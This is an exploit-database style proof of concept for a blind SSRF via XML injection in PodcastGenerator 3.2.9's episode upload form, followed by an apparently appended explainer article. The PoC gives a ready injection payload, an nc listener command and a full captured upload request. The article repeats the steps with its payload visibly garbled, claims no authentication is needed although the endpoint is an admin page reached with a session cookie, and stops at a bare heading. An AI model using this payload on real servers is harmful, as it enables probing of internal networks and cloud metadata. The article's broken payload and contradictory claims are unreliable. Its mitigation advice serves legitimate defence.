PodcastGenerator 3.2.9 - Blind SSRF via XML Injection

Exploit Author: Mirabbas Ağalarov Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2023-07-03
#Exploit Title: PodcastGenerator 3.2.9 - Blind SSRF via XML Injection
#Application: PodcastGenerator
#Version: v3.2.9
#Bugs:  Blind SSRF via XML Injection
#Technology: PHP
#Vendor URL: https://podcastgenerator.net/
#Software Link: https://github.com/PodcastGenerator/PodcastGenerator
#Date of found: 01-07-2023
#Author: Mirabbas Ağalarov
#Tested on: Linux 

2. Technical Details & POC
========================================
steps: 
1. Go to 'Upload New Episodes' (http://localhost/PodcastGenerator/admin/episodes_upload.php)
2. Fill all section and Short Description section set as 'test]]></shortdescPG><imgPG path="">( example :Attacker domain)http://localhost:3132</imgPG><shortdescPG><![CDATA[test'

payload:  test]]></shortdescPG><imgPG path="">http://localhost:3132</imgPG><shortdescPG><![CDATA[test

By the way i used localhost.If you have domain, you can use domain.

3.And upload episodes

4. I am listening on port 3132 because I'm observating for incoming requests

nc -lvp 3132

5. And I receive request

request:

POST /PodcastGenerator/admin/episodes_upload.php HTTP/1.1
Host: localhost
Content-Length: 101563
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypRUTcUa48pmEcI6Q
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/PodcastGenerator/admin/episodes_upload.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=rsvvc28on2q91ael2fiou3nad3
Connection: close

------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="file"; filename="2023-07-01_2023-07-01_2023-07-01_4_photo-1575936123452-b67c3203c357_1_ (2).jpeg"
Content-Type: image/jpeg

image content blaaahblahasdfjblaaah;sdfblaaahasdf
asdfasdfadddblaaahdblaaahddddblaaahddddddblaaahblaaahblaaahdddblaaahddddblaaahdblaaahddblaaahdddddblaaahddddddddddd

------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="title"

test
------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="shortdesc"

test]]></shortdescPG><imgPG path="">http://localhost:3132</imgPG><shortdescPG><![CDATA[test
------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="date"

2023-07-01
------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="time"

17:02
------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="episodecover"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="longdesc"

test
------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="episodenum"

33
------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="seasonnum"

33
------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="itunesKeywords"


------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="explicit"

no
------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="authorname"


------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="authoremail"


------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="customtags"


------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="token"

vdzM0jc75uLMHV7ovxew8Dawh5mnWSpz
------WebKitFormBoundarypRUTcUa48pmEcI6Q--


PodcastGenerator 3.2.9: Blind SSRF via XML Injection – A Deep Dive into a Critical Vulnerability

Security researchers have recently uncovered a severe vulnerability in PodcastGenerator 3.2.9, a widely used open-source podcast management tool. The flaw, dubbed Blind SSRF via XML Injection, enables attackers to perform Server-Side Request Forgery (SSRF) without direct feedback, making it particularly dangerous in environments where traditional SSRF detection is difficult.

Understanding the Vulnerability: What Is Blind SSRF?

Server-Side Request Forgery (SSRF) is a class of vulnerabilities where an attacker manipulates a server to make unintended HTTP requests to internal or external resources. In blind SSRF, the attacker does not receive direct responses from the target server — instead, they rely on indirect indicators such as network activity, timing differences, or side-channel data leaks.

This type of attack is especially effective in scenarios where:

  • The application uses XML-based data structures for metadata.
  • Input validation is weak or absent.
  • External requests are triggered during processing (e.g., fetching images, parsing XML).

In the case of PodcastGenerator 3.2.9, the vulnerability arises from improper handling of XML content within the shortdesc field — a user-provided description that is processed using syntax.

Technical Breakdown: Exploiting XML Injection

The core of the exploit lies in manipulating the shortdesc field to inject malicious XML fragments that trigger unintended HTTP requests. The payload is crafted as follows:


test]]>http://localhost:3132<![CDATA[test

This payload is injected into the shortdesc input field during episode upload. Although it appears malformed at first glance, the application’s XML parser processes it in a way that triggers the <imgPG path=""> tag to resolve the URL http://localhost:3132.

Why does this work? The application likely parses the shortdesc field using an XML parser that does not properly sanitize or validate embedded tags. This allows the attacker to inject arbitrary XML elements, including image paths that point to external or internal endpoints.

Exploitation Steps: A Real-World Proof of Concept

Here is a step-by-step breakdown of the exploitation process:

  1. Access the upload interface: Navigate to http://localhost/PodcastGenerator/admin/episodes_upload.php.
  2. Fill required fields: Provide valid values for title, date, time, and upload a dummy image.
  3. Inject the malicious payload: Set the shortdesc field to the crafted XML string.
  4. Trigger the request: Submit the form. The server processes the XML and attempts to fetch the image from http://localhost:3132.
  5. Observe the response: Use nc -lvp 3132 to listen for incoming HTTP requests.

Upon successful upload, the server makes a request to the attacker-controlled endpoint — confirming the SSRF exploit.

Sample Request Log

Here is a captured HTTP request from the server:


POST /PodcastGenerator/admin/episodes_upload.php HTTP/1.1
Host: localhost
Content-Length: 101563
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypRUTcUa48pmEcI6Q
Cookie: PHPSESSID=rsvvc28on2q91ael2fiou3nad3
Connection: close

------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="file"; filename="2023-07-01_2023-07-01_2023-07-01_4_photo-1575936123452-b67c3203c357_1_ (2).jpeg"
Content-Type: image/jpeg

image content blaaahblahasdfjblaaah;sdfblaaahasdf
asdfasdfadddblaaahdblaaahddddblaaahddddddblaaahblaaahblaaahdddblaaahddddblaaahdblaaahddblaaahdddddblaaahddddddddddd

------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="title"

test
------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="shortdesc"

test]]>http://localhost:3132<![CDATA[test
------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="date"

2023-07-01
------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="time"

17:02
------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="episodecover"; filename=""
Content-Type: application/octet-stream

------WebKitFormBoundarypRUTcU

Notice how the imgPG path="" tag is interpreted as a request to http://localhost:3132. This demonstrates that the server is making an outbound HTTP request based on user input — a classic SSRF behavior.

Why XML Injection Makes This Vulnerability Stealthy

Blind SSRF is difficult to detect because:

  • There is no visible response from the target server.
  • Attackers cannot see the results of their request.
  • Only indirect evidence (e.g., network logs, timing anomalies) can confirm exploitation.

However, in this case, the XML injection mechanism provides a clear vector for triggering external requests. The use of and custom tags like <imgPG path=""> suggests that the application is parsing XML data internally — potentially via a library such as SimpleXML or DOMDocument in PHP.

Impact and Risk Assessment

Severity High (CVSS: 8.1)
Attack Vector Remote (via web interface)
Exploitability High (no authentication required for upload)
Impact Internal network reconnaissance, data exfiltration, cloud metadata access (e.g., AWS EC2 metadata), or even remote code execution if chained with other vulnerabilities.

Given that PodcastGenerator is used in production environments, this vulnerability poses a serious threat to organizations relying on the platform for content management.

Recommended Mitigations

To prevent such attacks, developers should implement the following security measures:

  • Input Sanitization: Strip or validate XML tags in user-provided fields before parsing.
  • Use of Whitelisted Schemes: Restrict image URLs to trusted domains (e.g., https:// only) and reject any http:// or localhost paths.
  • Disable XML Parsing in Untrusted Inputs: Avoid using XML parsers on user data unless strictly validated.
  • Logging and Monitoring: Implement network monitoring to detect unusual outbound requests.
  • Rate Limiting and Request Validation: Enforce limits on outbound requests per user or IP.

Conclusion: A Wake-Up Call for Developers